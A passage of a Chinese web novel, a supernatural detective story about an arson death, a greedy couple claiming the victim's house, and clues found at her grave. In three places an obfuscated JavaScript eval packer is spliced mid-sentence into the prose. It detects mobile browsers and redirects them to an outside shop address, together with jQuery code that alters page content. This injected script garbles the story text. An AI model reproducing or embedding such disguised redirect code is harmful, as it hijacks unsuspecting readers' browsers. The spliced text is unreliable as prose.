“第一是被害人家属出具了谅解书,当然这背后应该还是钱的功劳。”周纬道:“第二,也是最关键的一点,根据消防现场检验的结果,虽然被纵火的房屋是有人居住的,但是火烧起来的时候,屋子里面确实没有人。死者薛爱梅是在大火烧起来之后才进入火场,最后烧死在里面的。” “所以准确来说,马洪昇四人只是纵火,并未杀人——这其实是个自杀案。” 小张庄距离珑湖市区约两个小时车程。村里还没通公路,车开不进去。前两天刚下了场小雨,浇得满地黄泥汤,泥泞难走,看着就让人十分头疼。 周纬看着自己那双上好的头层羊皮鞋踩在满地泥水里,感慨地叹息了一句:“好家伙,这雨下得,跟百人集体拉稀了似的。” 李默和洛小莉:“……” 三人小心翼翼地踩着没水的地方往村里走,周纬东张西望道:“这村子倒也不小……发生火灾的地方在哪儿?” 李默站在原地,抬起鼻子轻轻嗅了嗅,指了一个方向:“应该在那边。” 见周纬和洛小莉都看向他,他这才想起来应该解释一句:“风中有烧焦的味道。” “嚯,可以啊。”周纬一脸感兴趣地望着他:“李默同志,没想到你还有这个‘功能’。在异监局有点屈才了,应该派你去海关或者缉毒才对。” 李默好脾气地笑笑,没在意周纬话里话外把他描述成了一条警犬。 “走吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091601|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,头前带路。” 有了李默的指引,三人很快就找到了发生火灾的房屋,只是没想到那里居然有人,而且还不少。 只见五六个民工打扮的人正在那烧塌了一小半的瓦房旁忙活,有的拿着铁锹有的推着小推车,旁边还有两个中年男女,时不时吆喝指挥着什么,看上去像是监工。 “呵,”周纬一见这阵势就乐了:“真是来得早不如来得巧,咱们这是直接撞上正主了。” 李默和洛小莉都纳闷:“谁啊?” “张存义。”周纬嘴里吐出了一个陌生的名字:“他就是火灾死者薛爱梅唯一的亲属,算是她侄子,之前一直在外地打工,火灾之后才回来的。还记得开给马洪昇的那份谅解书吗?就是他开的。” 说到这里,他低头思索了一下,随即弯腰附耳低声对洛小莉说了句什么。 洛小莉脸上掠过一丝讶异之色,道:“你确定?” “去找找。”周纬含笑拍了拍她的肩膀:“找到了给你记一功。” 小监察员立马被“立功”这根胡萝卜鼓励了,重重点了点头,然后朝侧面跑了开去。 说话间,那一男一女两监工也发现了这边来人,两人面露警惕之色,低下头嘀咕了几句,朝两人走了过来。 “你们是什么人?”男人到了面前,招呼都不打一个,上来就喝问道:“干什么来的?” “呦,兄弟,火气挺冲啊。”周纬掏出证件在他面前一晃:“警察,来查纵火案的。” “警察?”估计是周纬的气质实在是与警察相去甚远,张存义在他那一看就价值不菲的衣着和腕表上扫了一眼,狐疑道:“警察也能打扮成这样?” “怎么?”周纬抱起双臂,又露出他那招牌式的气死人不偿命的欠揍笑容,道:“警察不能有钱吗?” “有钱”两字不知戳中了张存义哪根神经,他的眼中立马涌起一股鲜明的嫉恨和凶恶,面相立马狰狞起来,二话不说,竟然凶狠地朝地上啐了一口。 他旁边的女人立马接话过来,嚷嚷道:“案子不是都查清楚了吗怎么还查?这是要没完没了了吗?还让不让人好好过日子了?” 周纬冷眼打量着这夫妻俩。张存义个子不高,身材枯瘦,两只眼睛吊梢着,颧骨突出,是个被生活摧残过,却又自生一副狡诈和戾气的长相。他老婆孙海霞身材矮胖,脸上的粉底和口红把一道道皱纹卡的纤毫毕现,手指头上红色贴片美甲已经长出了两寸,看样子是想靠妆容给自己撑起点门面,却可悲地起到了反效果。 关键是她小腹隆起,赫然是已经怀了孕的样子。 周纬双眼上下扫了他们一遍,心里有了主意,开口道:“你们现在就开始翻修房子了?怎么,继承手续都办好了吗?” 张存义粗声粗气道:“哪儿那么快?你们这帮公家的,又要这个材料又要那个材料,等你们把手续都走完了,黄花菜都凉了。” 孙海霞在旁边帮腔道:“就是!那老婆子死了,房子自然就是我们的了,要那么多手续干什么!我看你们就是存心难为人!” “嗯?谁说薛爱梅死了,她的房子自然就是你们的?”周纬故意拖长了声调,居高临下地扫了他们一眼:“我们今天过来就是为了调查这件事——薛爱梅有新的继承人出现,你们不知道么?” 在他身后,李默听了这话先是一愣,随即立刻反应过来——周纬在诈他们。 如果那个小藤妖杀马宏昇是为了复仇,最大的可能就是为了薛爱梅。可薛爱梅丧偶丧子,独居在小张庄,身边从来没有任何妖类出现的迹象,小藤妖是如何跟她扯上关系的? 薛爱梅已死,她的社会关系基本无从查起,若从这夫妻俩下手,说不定还能找到些线索。 果然,一听这话,孙海霞立马炸了,声音尖利地叫了起来:“谁?是谁?!是哪个贱人?!” 周纬眉尖一挑,敏锐地捕捉到了一个词——“贱人”。 张存义比他老婆能稳得住一点儿,伸手把孙海霞拉回身后,道:“不可能。我二婶家早死绝户了,没听说过家里还有什么其他人。” “你确定?”周纬冷笑道:“不会是为了争遗产,故意隐瞒不报吧?” “呸!隐瞒个屁!”孙海霞一甩手挣脱了她丈夫,尖叫道:“他们家这四间屋本来就有一半是我们的!当年要不是我公公死得早,我们又要出门打工,会把这房子卖给他们家?早知道这些破砖烂瓦现在这么值钱,当初我们根本就不会卖!当时卖房的时候几千块钱打发了我们,现在却想拿着房子几十上百万地赚,我告诉你,她没那个福气!” 她喘了两口气,面上掠过一丝阴狠:“这个老寡妇命里带煞,克死了男人又克死儿子,还死皮赖脸地霸占着我们老张家的祖产,总算是遭了报应了。我告诉你们,我肚子里怀的是个儿子,这才是老张家的根!我一怀上她就死了,可见是老天有眼要收她,这房子合该是我们的,谁也抢不走!” 10. 线索 薛爱梅,女,62岁,小张庄村村民,马宏昇酒后纵火案的唯一死者。 她是从外地嫁来小张庄的,丈夫张建乔是个农民,早年修缮家里的那四间小平房的时候,为了省钱没找泥瓦,自己搭梯上房,不小心摔了下来。磕到的地方有点寸,撞到了后脑,没等送到医院人就没了。 她只有一个独子张斌,是个货运司机,常年在外地跑长途,三十多了还是一条老光棍。去年冬天的时候,儿子打电话回来说谈了个对象,准备带回来让妈看看,薛爱梅从入冬就开始收拾家准备,天天一听见有车进村的动静就竖起耳朵。盼望来盼望去,盼来了货运公司几万块的丧葬费,和一盒冰冷的骨灰。 公司来的人说,张斌疲劳驾驶,在山路上接打电话,连人带车一起扎进了山谷里,人拉出来的时候就已经不成样子了。领导说就近找个地方火化,也免得老人家看着伤心。 只有薛爱梅知道,那通电话是她打给儿子的,问他什么时候回来,还说了小张庄最近不断有流氓骚扰的事。张斌说他尽快回家,有儿子撑腰,让她不用担心。 现在再也没有人可以给她撑腰了。 当时警方做出“自杀”的判断,没有人提出质疑,是因为所有人都觉得,薛爱梅一个大字不识的中老年农村妇女,先是经历了丧子之痛,又亲眼看着自己的所有家当在火海中毁于一旦,短时间内连续遭遇两次重大打击,一时想不开情绪崩溃,选择自杀也是有可能的。 但仔细想想,张斌车祸和马宏昇纵火之间隔了三个多月,薛爱梅在刚听闻儿子死讯的时候都没崩溃,又怎么会在三个月后,采取自焚这种惨烈的方式自杀呢? 洛小莉觉得,这里面有问题。 她戴上脚套和手套,避开那些忙碌的工人们,蹑手蹑脚地摸进了那间被烧塌了一小半的屋子,躲着别人的视线在废墟中摸索了起来。 刚刚周纬交给她的任务,是让她去找找有没有什么“明显不属于薛爱梅的东西”。 ——但怎么才算“不属于薛爱梅”的东西呢?姨妈巾吗? 她全无目标,火灾现场又是难以想象的凌乱,目之所及全部焦黑一片,绝大多数东西都已经被烧得看不出形状,被前两天那场小雨更是浇得污水横流。洛小莉在满地焦黑和污水中摸了半晌,蹭得满头满脸全是黑色,还要时刻注意躲着那群干活的工人,没一会儿就已经额上见汗。 就在这时,她脚后跟忽然“哐啷”一响,碰到了什么东西。 洛小莉捡起来一看,那是个烧焦了的铁皮盒子,原先应该是个茶叶罐之类,晃了两下里面“哐哐”响,不知道装的是什么。 铁盒子已经烧得变了形,洛小莉用指甲盖抠住盒盖,猛一用力——打开了。 她的眼睛倏然睁大了。 与此同时,另一边的周纬掏了掏耳朵,满脸感慨地看着眼前的夫妻俩:“啊,没想到这个年代还能听到这么逆天的发言,我这耳朵今天算得上工伤了吧?” 他一脸真诚地看着这两人:“我说二位,你们不会真以为这白日梦能实现吧?你们是不是不知道,你们这种类型的‘代位继承’,在法定继承顺序上的优先级排序之低,也就比地板砖稍微高一点儿?但凡能找到薛爱梅一位关系比较近的血缘亲属,这房子就跟你们没关系了,懂吗?或者能找到她的遗嘱也行。” 说罢,只见他咧嘴一笑:“这不就来了?” 话音刚落,就听见不远处传来一阵兴奋的喊声:“周队!我找到了!” 众人闻声转身,张存义心里陡然升起一股不详的预感。 只见洛小莉一脸亢奋地跑了过来,手里还“叮呤咣啷”地拿着什么东西,到了眼前先把那铁皮盒子往周纬手里一塞:“周队你看!是不是这个?” 周纬接过了那盒子,没打开,先上下打量洛小莉一遍,一脸佩服道:“让你找个东西,你怎么跟跑去煤窑挖矿了似的?” 洛小莉满身焦灰,一脚污泥,连头上脸上都蹭上了一层烧焦的黑灰,好好的一个小姑娘,不到十五分钟就得跟逃难的难民似的。只是她浑不在意,用袖子随意地蹭了一把脸,一双杏核眼睁得大大的,在满是黑灰的脸上越发显得黑白分明,催促道:“你先打开看看!” 周纬依言撬开了那个铁皮盒子,扫了一眼就“嚯”了一声:“好家伙。” 那居然是一盒被烧化一半的儿童发卡。 就是那种质感非常廉价的塑料小发卡,五个一排夹在纸板上,弄些小花朵、小蝴蝶、Hellokitty之类的造型,花花绿绿五颜六色,成本可能才几分钱一个,是一种物不美但价廉的小装饰品,最常出现的地方就是农村那些年龄不大又爱打扮的小女孩头上。 比如说,在爱丽舍杀害马宏昇的那位——“小女孩”。 找到了这种重要证物,周纬老怀大慰,习惯性地就要抬手拍拍洛小莉的脑袋。然而一看洛小莉那满脑袋黑灰,顿时望而生畏,伸出去的手又缩回来了,最后只是矜持地调动了两根手指头,点了点洛小莉勉强没被沾黑的肩膀,轻咳一声道:“那什么,干得好。” 洛小莉:“……” 她现在把那铁皮盒子扔回去还来得及吗? 周纬又转过来面对这张存义二人,掂了掂那一盒子发卡,笑道:“二位,这个怎么说?你们不是说薛爱梅家里没别人了吗?怎么,难道她还有个不为人知的孙女?” “这、这算什么?”张存义和孙海霞的脸上闪过一瞬间的心虚,孙海霞把脖子一梗,嘴硬道:“就凭这么一盒子破烂能证明什么?又不是把那老寡妇的遗嘱挖出来了!说不定是她买了分给村里其他小丫头的呢?说不定还是她买来自己戴的,想老来俏一把呢?这啥也证明不了,我们不认!” “你们不认?”周纬嘴角一咧:“那开给马宏昇的那份谅解书,你们认不认?” 夫妻二人都一愣,没明白周纬怎么突然转换了话题。 周纬低头盯着他们俩,幽幽地道:“马宏昇死了,你们知道么?” “他死了跟我们有什么关……”张存义话出口一半,突然顿住,眼睛骇然睁大了。 “他昨天刚从派出所里放出来,晚上就死在了一家会所里,凶手在众目睽睽之下带走了他,把他吊在了一间包厢的天花板上。”周纬“删繁就简”地描述了一下马宏昇的死亡经过,满意地看到这夫妻俩脸上逐渐爬上了惊恐,放低了声音轻笑道:“你们说,凶手能杀这样一个出入必有保镖随行的富二代,能不能查到是谁给他开了那张保他出狱的谅解书?” “不、不可能……”张存义的声音微不可察地颤抖起来:“只是一份谅解书而已,凭什么找上我们……” “只是一份谅解书?这份谅解书你们卖了多少钱?二十万?五十万?”周纬低低地笑了一声:“你们先是吃了薛爱梅的绝户,又放任害死她的凶手逍遥法外,如果那个凶手真的是为薛爱梅复仇杀人,你们猜她会不会放过吃人血馒头吃得最欢的你们?” 他眉目狭长幽微,睫毛格外的长,整个人本就透着一股缥缈的气质,刻意放低声音说话的时候,整个人都散发着一种诡异的阴森感,简直如同魔鬼低语,连死人都能被他活生生说起一层鸡皮疙瘩。 夫妻俩终于被他这装神弄鬼的腔调吓破了胆,孙海霞伸长了脖子尖叫一声:“你说谁吃人血馒头!” 洛小莉在旁边适时地帮了一下腔,冷笑道:“除了你们还有谁?阿姨,为了孩子积点德吧。” 她性格耿直,本来就看这对丧良心的夫妻不顺眼,没想到出言讽刺的这一句,却正正好戳在了夫妻两人的心窝上。 孙海霞不知为何,似乎笃定自己怀着的一定是个男孩。这个未出生的孩子简直成了她的立身之本似的,宝贝得如同眼珠子一样,哪里听得了有人对孩子冷嘲热讽?她本来就又心虚又恐惧,被这句一激,居然生出一股无名的怒火来,转身扬手对着洛小莉就推了过去,大骂道:“小贱人,你咒谁?!” 刹那间,洛小莉第一反应是挡。 她堂堂一个外勤监察员,自然不缺这点儿反应能力,然而胳膊已经抬了起来横在身前,一个念头却突然涌入了她的脑海,洛小莉突然意识到——怀了,这是个人类。 还是个大着肚子怀着孕的人类! 要是被她这么一挡,反推回去再摔坏了怎么办? 电光石火间,监察员根深蒂固的“保护人类”的职责意识和洛小莉的自保本能在她脑海里打了一架,最后洛小莉把心一横,道,推就推吧,反正也不疼。 就这么一犹豫,眼看那巴掌已经到了眼前,洛小莉一闭眼—— “啪!” 那巴掌没落到洛小莉身上,被人一把攥住了。 洛小莉睁开眼,就见一个高大的身影挡住了面前的阳光——是李默。 李默自从来到小张庄,见到这夫妻两人开始,就没说过一句话,只是安静地跟在周纬身后,像个高大沉默的保镖。张存义本来对这个看上去一身黑衣的冷峻男人颇为忌惮,然而他一直不说话,渐渐地所有人都有点遗忘了他的存在。没想到他此时突然出手,实实在在地吓了所有人一跳。 “你、你干什么!你放开!”孙海霞拽了两下手腕,却没拽动,顿时惊慌失措起来,撒泼大叫道:“救命啊!警察打人啦!警察打孕妇啦!” 妖类的手劲可不是开玩笑的,洛小莉也赶紧凑上来,低声道:“默哥,你赶紧放开她。这可是个人类,还是个孕妇,你别给她碰坏了。” 李默没动。他居高临下地低着头,眉头微蹙,抓着孙海霞的姿势就跟拎着一只小鸡仔没什么区别。从他的表情来看,似乎在怀疑世界上怎么会有这种奇葩物种。 “李默,放手。”就在此时,周纬终于开口了。 李默抬起头来。周纬站在稍远一些的地方,两人隔空对视,中间隔着一个哭闹不休的孙海霞。 李默没动,皱眉道:“可是她刚刚差点打了小莉。” 周纬道:“我说,放手。” 他逆光站着,脸上看不清表情,然而旁边的洛小莉却突然起了一层细小的鸡皮疙瘩——她第一次听周纬用这种语气说话。 李默还是没动。 他转身偏头,低头看着洛小莉:“你没事吧?” 洛小莉不敢说话,赶紧摇了摇头。 李默这才五指一松,放开了孙海霞。 他这一松劲,孙海霞顿时“噔噔噔”倒退好几步,差点摔倒。张存义赶紧扑上来接住自己怀孕的老婆,两人对视一眼,这才反应过来,于是顺势坐倒在地,捶着大腿就开始嚎:“没天理啦……警察打孕妇啦……” 周纬冷声道:“闭嘴。” 夫妻俩骤然噤了声。 他们俩跌坐在地,看着周纬双手插兜,踱到他们面前,颀长的身影在他们身上投下一片阴影,面无表情地开口:“住在薛爱梅家里的那个小女孩就是杀害马宏昇的线索,早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091602|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一天抓住她,你们来就早一天脱离危险。别怪我没提醒过你们,贪财也要有命花才行。” 孙海霞看上去已经吓得只会喘气了,张存义似乎还想挣扎一下:“一个小女孩怎么可能杀人……” “行,”周纬却似乎已经不想再听他废话,转身就走:“见了马宏昇,替我向他问好。” 然而他刚抬步,身后却传来张存义崩溃的一句:“等等!” 周纬停住了脚步。他定在了一个侧身而立的姿势上,居高临下地看着他们。夕阳要沉不沉地挂在天边,灿烂晚霞铺开在身后,把年轻的队长映成了一个孤高冷峻的黑色剪影。 张存义所剩无几的意志终于溃不成军:“我说,我说……” 密林被晚霞染成了绚烂的橘色,每一片叶子上都流淌着艳丽的黄昏。 周纬三人走在凤凰山的山路上。 洛小莉心里还在忐忑不安,但同时又觉得自己忐忑得很没有道理——跟人类动手的又不是她,她心虚什么? 她能感觉出来周纬在生气,于是又偷眼看了看李默——不知为何,她总觉得周纬生李默的气的成分好像更多一些。 殊不知此时此刻,李默心里也在打怵。他也感觉出了周纬情绪不好,只是跟洛小莉不同,他不安中又带着一丝纳闷——周纬在气什么?也没人干什么坏事啊? 总感觉莫名其妙的。 只是他习惯了不招人待见,知道别人一见他就嫌弃,这时候最好就是默默站在一边降低存在感,于是乖巧地跟在后面一言不发,假装自己是一根周纬的尾巴。 结果“尾巴”的思路还没捋清楚,前面的“头部”先停下了。 李默和洛小莉赶紧刹车。 周纬转过身来。 他面无表情,长身玉立地一条站在山路上,整个人从头到脚生动地诠释了什么叫做“山雨欲来”。刹那间洛小莉和李默都产生了掉头跑路的想法,好悬忍住了,四只脚钉在原地没敢动。 洛小莉暗暗瞥了瞥李默,心说——要发难了。 周队会不会借这个机会,把李默赶出珑湖? 一想到这里,洛小莉心里还有点失落。她跟市局的其他同事不一样,没经历过四年前那起惨烈的案子,对妖类没什么成见,只觉得李默这个妖类还挺好相处的,脾气好、话不多,长得还挺帅,刚刚还出手帮了她,要是就这么走了…… 结果这通思绪还没跑完,洛小莉就发现自己眼前出现了一片阴影。 周纬不知什么时候走到了她眼前,居高临下地看着她,开口道:“刚刚那女人要推你,为什么不躲开?” 洛小莉:“?” 她慢了好几拍才反应过来——周纬没去找李默的麻烦,居然来找自己兴师问罪了! 这是什么道理?!跟人类动手的又不是她! 洛小莉生性倔强,哪怕知道队长余怒未消,心里也是不服气的,不由得出声辩解道:“她是个人类,还是个孕妇,我要是出手一杠,把她顶翻了怎么办?” “我没问你为什么不挡住她,”周纬冷冰冰地道:“我是问你为什么不躲开。” 洛小莉一噎。她是个出头冒火的性子,见了妖类都敢上去较量一二,“躲开”这种选项在她的脑瓜子里从来就没出现过,更何况面对一个人类她躲什么躲?不嫌丢人么? 再说躲开如何?不躲又如何?孙海霞一个连皮带骨七十公斤的中年女人,推她一把还能把她推残了不成? 反驳的话已经到了嘴边,好悬被仅存的一线理智吊住了,洛小莉咬了咬下唇,没出声,只是脸上还是一副不服不忿之色。 周纬黑沉沉的目光盯着她。 “你是觉得,”他缓慢地开口:“因为孙海霞是个人类女人,所以被她推一把也无所谓是吗?你是觉得监察员的对手只能是灵力者和妖类,而普通人类弱小、可怜又无助,只能作为保护对象被你护在身后,战战兢兢地打哆嗦是吗?” 洛小莉张了张口:“……我没这么想。” “那当有人对你表现出明显敌意的时候,你为什么不警惕、不躲避、不反抗?”周纬的声音跟着他的脚步一起慢慢逼近,几乎要压得人喘不过气来:“为什么要产生这种‘被伤害也无所谓’的想法?为什么要等着别人挡在你面前?如果今天孙海霞是拿着一把刀朝你冲过来,你也等着李默为你出手吗?” 这话李默就不能当做没听到了。他朝前迈了一步,试图打圆场:“周队,没那么严重……” 周纬:“你闭嘴!” 刹那间李默浑身一僵,不自觉地倒退一步!周纬一声厉喝,他只觉得身边骤然擦过了无数阴冷的风! 周纬冷锋般地眼刀剐了他一眼,回过头来继续看着面色泛白的洛小莉。 “洛小莉,抬起头来回答我,”他的眸光幽深,眼神肃冷,像是冰天雪地中挣扎出来的一枝嶙峋的老树:“外勤干员出任务,最重要的是什么?” 洛小莉浑身一震,面色苍白,下意识地背起了《监察员手册》上的内容:“不畏艰险、不怕牺牲,尽忠职守保护人民群众生命财产安全……” “错。”周纬截口打断她,冰冷道:“是懂得怎么保护自己。不明白这一点,你就永远不是一个合格的监察员。” “再有这么一次,你就给我滚回灵修学院。我队里不缺送死的。” 说罢,他转身就走,留下满腹委屈的年轻监察员,站在暮色四合的寒冷山风里。 11. 新生 有那么一刻,洛小莉心想:“辞职算了。” 她跟绝大多数异监局的同事不一样,不是因为遭遇什么超自然事件,受到刺激而觉醒的灵力,而是罕见的自然觉醒的灵力者。她人生的前十八年都没跟妖类打过什么交道,加入灵修学院也只是因为灵力觉醒,自觉“天生我材必有用”,新鲜好奇而已。 她家庭美满富足,上学时品学兼优,在灵修学院也是出类拔萃的佼佼者。先天觉醒的灵力者在天赋上通常要比后天觉醒的强上一线,洛小莉自踏入超自然世界以来,就没受过这么大委屈。 凭什么?不干了。 洛小莉心想,自己干嘛非得在这狗屁队长手下受这种鸟气? 然而心里这么想,她的脚步却已经不自觉地跟着周纬往山上走了,只是那眼神看上去像是要化身加特林,把周纬从头到脚穿上一千八百个窟窿。 就在这时,她发觉李默落后了两步,来到了她身边,开始跟她并排走。 洛小莉:“?” 李默语重心长地开口:“周队是为你好。” 洛小莉:“……” 为什么这些人劝人的时候都是这么一句毫无新意的话?!你们就不能换个花样吗?! 而且为什么是你来劝我?我们这个队伍配置是不是有点问题?一个人类队长阴晴不定大发脾气,却要一个妖类来打圆场和稀泥,这对吗? 洛小莉心里疯狂咆哮,脸上面无表情:“哦。” 她没打算听进去。 然而李默接下来的话却有些超乎她的预料。 他道:“你知道全国监察员系统里,外勤干员的平均年龄是多少岁吗?” 洛小莉一愣,不明所以地摇摇头,这个她倒是真的不知道。 “我在总部的系统里看到过。”李默压低了声音:“不算我们这些……特殊的,人类外勤监察员的平均年龄是三十六岁。” 洛小莉吃了一惊:“这么低?” 平均年龄太小,不是好事,尤其是监察员这种吃国家饭的铁饭碗——说明大多数人在这个岗位上都干不长。 李默点了点头:“外勤监察员的损耗率很高……不管是追捕妖犯、深入秘境,还是跟各种心怀不轨的灵力者犯罪组织做斗争,都是很危险的事。你们毕竟是人类,一旦在战斗中伤损,就算一时能痊愈,也会给身体留下伤病。积年累月,基本所有外勤干员都干不了很长时间,有的病退,有的转内勤,有的就……” 他没说完,洛小莉却明白了他的意思——还有一些人就永远留在了那片跟超自然生物交锋的战场上,成为了监察员徽章上那一抹灼目的红色。 李默不嫌脏,给小实习生拍了拍身上的黑灰,又仗着人高马大的身高,揉了揉她的脑袋,微笑道:“别生周队的气了。” 洛小莉本来也不是真生气,只是觉得委屈,被李默这么一拍一揉,眼泪差点下来,一瘪嘴,又忍住了。 她揉了揉眼睛,发着狠心想,不就是“保护自己”四个字么?还真当她学不会么? 走着瞧。 就在这时,两人同时一抬头,只见前面一直一言不发往前走的周纬突然住了脚步,停下来了。 他这一停步不要紧,后面两人看着他的背影,心里同时咯噔一下,心道——又作什么妖? 洛小莉还在赌气,哼了一声撇开脸,拒绝跟周纬搭话。李默只好去做这个破冰的,赶上几步凑到周纬跟前:“怎么了?” 周纬神色看不出来有什么变化,但没吭声,之后朝前努了努嘴。 李默疑惑地打量着他,又看了看前路,没看出个所以然来:“周队是发现了什么吗?” 周纬原地伫成了个长身玉立的棒槌,就是不说话,只是从鼻子里哼出来一个轻音,又扬了扬下巴。 然而这个时候李默似乎全然失去了在审讯室里跟周纬异口同声的默契,任凭周纬怎么跟他使眼色,就是领会不了队长深意,在前面来来回回转了好几圈,转到洛小莉都疑惑地看了过来,这人才终于恍然大悟:“哦,周队是让我走前面是不是——诶?周队你迷路了?” 周纬顿时恼羞成怒,色厉内荏道:“你闭嘴!就你话多!” 李默一愣,跟洛小莉对视了一眼。 紧接着—— “哈哈哈哈哈哈!!” 这俩人瞬间笑得前仰后合,惊起一片山林飞鸟,大有不把腿笑断誓不罢休的意思。周纬在旁边暴跳如雷,耳根通红,怒道:“别笑了!” 他们上凤凰山是为了寻找薛爱梅的墓。据张存义所说,薛爱梅生前似乎确实跟某个人关系密切,只是谁也没有见过她。 张存义之所以知道这件事,是因为他回村给薛爱梅料理丧事时,村支书曾经私下找过他,告诉他薛爱梅曾经找自己打听过房产过户的问题。 当时小张庄跟承建公司之间的拆迁纠纷正闹得激烈,村支书以为薛爱梅是想把房子卖了拿钱走人,就没跟她说太多。只是薛爱梅不依不饶,最后村支书再三追问,她才说出是想在自己死后,把房子留给一个人。 “叫‘薛青青’……青草的青。”张存义道:“就是这三个字。那老婆子大字不识一个,还特意跟人学了这三个字该怎么写。” 这个叫“薛青青”的人是男是女、是圆是扁,整个小张庄都没人见过,周纬他们却知道这人八成就是杀死马宏昇的那小藤妖。为了以防万一,他们跟张存义打听了薛爱梅墓地的位置,准备上去看看有没有什么线索。如果这个薛青青确实跟薛爱梅感情深厚,那么她报仇之后会回来看一看薛爱梅也不一定。 只是当时周纬正在气头上,只问了个大概位置就闷头往山上冲,走到一半才发现,这么大个凤凰山,谁知道薛爱梅究竟埋在哪里! 早知道就该把张存义那小子拎过来带路,也不至于现在被这俩胆敢以下犯上的属下看笑话! 周纬刚义正辞严地发了一通脾气,回过头来就发现自己迷路了,又端着领导的架子不肯承认,结果被李默一句话戳破,整个人气成了一只涨红脸的刺猬,浑身上下都散发着“哄不好了”的气场。 于是这段山路的后半程就换了个顺序,变成了李默在前面领路,洛小莉在中间边走边偷笑,最后面跟着个闷不做声跟自己憋气的周大队长。 就这么一波三折,好歹算是在太阳下山之前找到了地方。 李默一路顺着闻到的寡淡香火味儿往前走,来到了一片林叶掩映的空地。三人拨开交错横斜的枝叶,看到了里面各型各款的三个坟堆。 一家三口,整整齐齐,都在这里了。 其中一个明显已经有些年头了,白色的墓碑还比较矮,经过了十几年的风侵雪浸,墓碑上有了许多缺口,上面“亡夫张建乔之墓”几个字已经斑驳褪色。 而旁边一个新的坟冢则大得多,也“豪华”得多,整体用规整的方石严丝合缝地砌了一圈,黑色大理石做的墓碑,上面还有棱有角地雕了个棱角飞檐用以遮风挡雨。墓碑前的香炉是汉白玉的,雕刻成了精致的莲花形状,寓意“超脱凡尘,往生极乐”。 墓碑上刻的是“爱子张斌之墓”。 两个墓一大一小,一黑一白,葬了父子两代人。 最后一个坟堆是最小最寒碜的,基本就是个小土包,连个墓碑也没有,纸钱和香火烧在了一个草草挖出来的土坑里。看来张存义夫妻俩认为他们帮薛爱梅料理了后事,好歹没让她的骨灰无处入土,已经算是仁至义尽,对得起他们即将继承的那四间身价暴涨的房子了。 三人站在这三个坟茔前,一时都陷入了沉默。 洛小莉第一个走上前,双手合十对着三个坟冢依次弯腰拜了拜,随后李默也依样照做。 等到了周纬,他想了想,从兜里掏了一包烟出来,各取三根点燃了,代替线香插在了墓前。 他那包香烟似乎是特制的,没有包装也没有牌子,存在一个小小的锦囊布袋里,上面的花纹看不太真切。香烟点燃的时候,李默眉尖一挑——那香烟的气息并不如寻常一般刺鼻呛人,反而十分幽远清冽,如草木新芽、叶尖坠露,跟周纬身上那种如山中雾霭一般缥缈不定的味道如出一辙,只是更明显一些。 原来他身上的气息是这么来的。 李默突然发现自己并不讨厌这种味道,反而很喜欢——这让他想起了自己遥远的家乡,那常年雾气昭昭、丛丛莽莽的大山深处的气息。 周纬同样双手合十弯腰三拜,道了声:“打扰了。” 起身的时候,他眼角余光突然扫到了什么,眼神一凝,看向薛爱梅的坟冢。 那坟冢前面有一块新土——前两天刚下过一场小雨,泥土湿润,那一块的土迹明显是刚翻出来的,颜色很深,只是在黄昏时分昏暗的密林里很容易被忽略。 周纬道:“给我一副手套。” 刨坟掘墓这种事到底有点犯忌讳,周纬难得干回人事,没再支使洛小莉,亲自动手三两下把那块泥土挖开了。 然后从里面刨出来了一个黑色塑料袋。 周纬和洛小莉对视一眼。洛小莉很有眼力见儿地打开了手机手电筒,周纬伸出两根手指,小心翼翼地把那个塑料袋解开了。 然后从里面拎出了一串钥匙。 正是从马宏昇死亡现场消失的那一串。 但是这玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091603|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意儿怎么会在这里? 两人都被这个发现震惊了,大眼瞪小眼地对视了片刻,洛小莉茫然道:“这什么情况?这是那个藤妖——薛青青——埋在这里的?” 周纬沉吟不语——他分明记得监控视频里,薛青青离开包厢时,并未带走这串钥匙。 在死者的墓前埋下凶手的遗物,这是一种带有明显的“祭拜”意味的做法,就像古代侠客会将仇人的头割下来带到死者墓前,意在告诉死者“大仇已报,你可以安息了”——从这个意义上来讲,将钥匙放在这里的确实最有可能是薛青青没错。 但她一个刚刚化形入世的小藤妖,会知道“祭拜”这种人类文化礼仪吗?再说她要告慰亡灵,为什么不直接把马宏昇的脑袋拧下来带过来?带一串钥匙来是什么意思? 如果不是她将钥匙埋在这里,那又会是谁? 这个案子看起来简单,真凶的身份早已确定,然而仔细一想处处扑朔诡谲,迷雾四起看不真切。 周纬站了起来,拍了拍手上的土,吩咐洛小莉道:“先找个证物袋收起来吧,这是重要证物,回去检验一下应该能发现线索。” 说罢他一愣,东张西望道:“李默呢?” 李默不知何时消失了,听到周纬的问声,他的声音才从不远处的林子里传了出来:“在这里。” 